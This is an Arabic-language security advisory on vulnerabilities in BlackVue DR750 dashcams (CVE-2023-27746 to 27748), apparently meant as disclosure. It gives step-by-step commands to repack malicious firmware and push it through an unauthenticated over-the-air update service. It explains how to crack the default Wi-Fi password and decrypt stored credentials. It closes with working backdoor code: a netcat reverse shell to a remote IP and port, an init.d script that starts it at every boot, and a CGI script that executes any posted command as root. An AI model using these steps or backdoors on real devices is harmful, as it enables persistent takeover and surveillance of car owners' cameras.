
BlackVue DR750 CVE CVE-2023-27746 CVE-2023-27747 CVE-2023-27748
ما يلي هو لأغراض تعليمية فقط، لا تجرب هذا على أي جهاز لا تملكه أو ليس لديك إذن باستخدامه.
حتى وقت كتابة هذا التقرير، هناك حوالي 300 جهاز BlackVue ضعيف متصل بالإنترنت، يمكن اكتشافها واستغلالها بسهولة، ولا يوجد تصحيح رسمي حتى الآن.
تم إبلاغ BlackVue بهذه الثغرات في 30-07-2022، وردوا بأنهم سينظرون في المشكلات. ومع ذلك، لم يحدث شيء على حد علمنا.
لا يوجد فحص للمصداقية للبرنامج الثابت، مما يسمح لمهاجم ضار بتحميل برنامج ثابت مخصص. يمكن أن يتضمن هذا البرنامج الثابت المخصص أبوابًا خلفية أو استغلالات.
خطوات إعادة الإنتاج:
.zip الذي يحتوي على ملفات البرنامج الثابتpatch_<dashcam_name>.bintar.gzpatch_<dashcam_name>.bin (راجع sue_checksum)# downloaded from https://blackvue.com/download/dr750-2ch-lte-firmware-multilanguage/
$ unzip dr750-2ch-lte-v1.012-eng.zip
$ cd BlackVue/System/upgrade
$ mkdir patch-out
$ tar -C patch-out -xvzf patch_DR750LTE.bin
# make changes in patch-out
$ tar -C patch-out -czvf patch_DR750LTE.bin .
$ python3 sue_checksum.py patch_DR750LTE.bin patch_DR750LTE.bin.sue
$ cd ../../../
ثم ضع المجلد BlackVue على بطاقة SD الخاصة بكاميرا dashcam، وستبدأ في تشغيله.
عند إنشاء برنامج ثابت لـ FOTA (تحديث البرنامج الثابت عبر الهواء)، قم بإنشاء ملف .tgz من الدليل System بدلاً من ذلك.
$ tar -C BlackVue/System -czvf fwupgrade.tgz
يمكن استخدام هذا الملف لاحقًا لتحميل برنامج ثابت مخصص باستخدام FOTA والاستيلاء الكامل على كاميرا dashcam.
من المهم ملاحظة أنه أثناء الاختبار، لوحظ أنه حتى عند إعادة تحميل البرنامج الثابت الرسمي من موقع BlackVue إلى الجهاز، استمرت الأبواب الخلفية الموضوعة.
ستستمع كاميرات BlackVue dashcam على المنفذ 9771/TCP، حيث تعمل خدمة FOTA (البرنامج الثابت عبر الهواء). تسمح هذه الخدمة بـ ping، إعادة التشغيل، الحصول على وقت الجهاز، ترقية البرنامج الثابت، إلخ.
لا يوجد شيء يحمي نقطة النهاية هذه ويمكن الوصول إليها عند الاتصال بنفس الشبكة المحلية للكاميرا أو من الإنترنت إذا كانت الكاميرا متصلة بـ LTE، مما يشكل خطرًا أمنيًا كبيرًا. يمكن العثور على برنامج Python النصي الذي يمكنه التواصل مع خدمة FOTA هنا.
قم بإنشاء برنامج ثابت جديد بناءً على الخطوات من القسم السابق، وقم بتحميله باستخدام البرنامج النصي Python.
python software/fota/fota.py 10.0.0.1 upgrade /tmp/fwupgrade.tgz
لا توجد ضمانات بأن هذه الأداة تعمل، لكنها عملت مرة واحدة من قبل.
كاميرات dashcam لا تأتي مع أي جدار ناري ممكّن، وهو أقل مشكلة إذا كانت الكاميرا متصلة فقط عبر Wi-Fi. ومع ذلك، فإن إصدار LTE متصل مباشرة بالإنترنت، حيث أن بعض مزودي الهاتف المحمول لا يقومون بإعداد جدار ناري ولا يضعون مستخدميهم خلف NAT. يمكن التحقق من ذلك من خلال النظر في البرنامج الثابت المستخرج.
على الأقل، يجب أن تقوم كاميرات BlackVue dashcam المزودة بـ LTE بحظر الاتصالات على جانب LTE.
كلمة مرور Wi-Fi الافتراضية لكاميرا dashcam تتكون فقط من أحرف أبجدية رقمية صغيرة، بطول 8. من الممكن اعتراض مصافحة من الكاميرا، واستخدام أدوات من Aircrack-ng لحساب كلمة المرور (إذا لم يقم المستخدم بتغييرها). يمكن القيام بذلك في حوالي 4 أيام باستخدام أجهزة مستأجرة (حوالي 40 يورو).
بشكل افتراضي، يمكن الوصول إلى خادم الويب بدون مصادقة ويكشف عن نقاط نهاية مختلفة.
├── blackvue_live.cgi
├── blackvue_livedata.cgi
├── blackvue_vod.cgi
├── Config
├── index.html
├── Record
└── upload.cgi
تسمح نقاط النهاية هذه بما يلي:
يتم تخزين SSID Wi-Fi وكلمة مرور الشبكة التي ستتصل بها الكاميرا على بطاقة SD في الكاميرا. يتم تشفير هذه البيانات، ولكن يمكن كشف المفتاح بسهولة عن طريق هندسة عكسية للتطبيق. كما هو موضح في wifi-decrypt.py.
من الجدير بالذكر أيضًا أنه عند تغيير شبكة Wi-Fi التي يجب أن تتصل بها الكاميرا، يتم إرسال هذه القيم إلى خوادم BlackVue، والتي ستخزنها حتى تتمكن من إرسال المعلومات إلى الكاميرا. ما إذا كانت هذه البيانات تُحذف عند توفر الكاميرا غير معروف.
يمكن الجمع بين كل هذه لتحقيق تنفيذ تعليمات برمجية عن بعد بسيط، خاصة مع كاميرات LTE dashcam.
بعض الأمثلة على الأبواب الخلفية، التي يمكن تضمينها في البرنامج الثابت المخصص.
الباب الخلفي التالي سيتصل بجهاز بعيد ويمنح وصول كامل إلى الصدفة كجذر.
/bin/backdoor.sh
#!/bin/sh
IP=$1
PORT=$2
while /bin/true; do
/usr/bin/nc $IP $PORT -e /bin/sh
done
سكربت init.d التالي سيبدأ الباب الخلفي عند كل إقلاع، ويتصل بعنوان IP/المنفذ المحدد.
/etc/init.d/S85backdoor
#!/bin/sh
/bin/backdoor 10.99.77.20 1745 &
cmd.cgiالباب الخلفي التالي سيسمح بتنفيذ الأوامر (كجذر)، عند إرسال حمولة إلى خادم الويب.
/res/System/www/cmd.cgi
#!/bin/sh
echo "Content-type: text/html" # set the data-type we want to use
echo ""
POST_STRING=$(/bin/cat)
echo $POST_STRING
exec $POST_STRING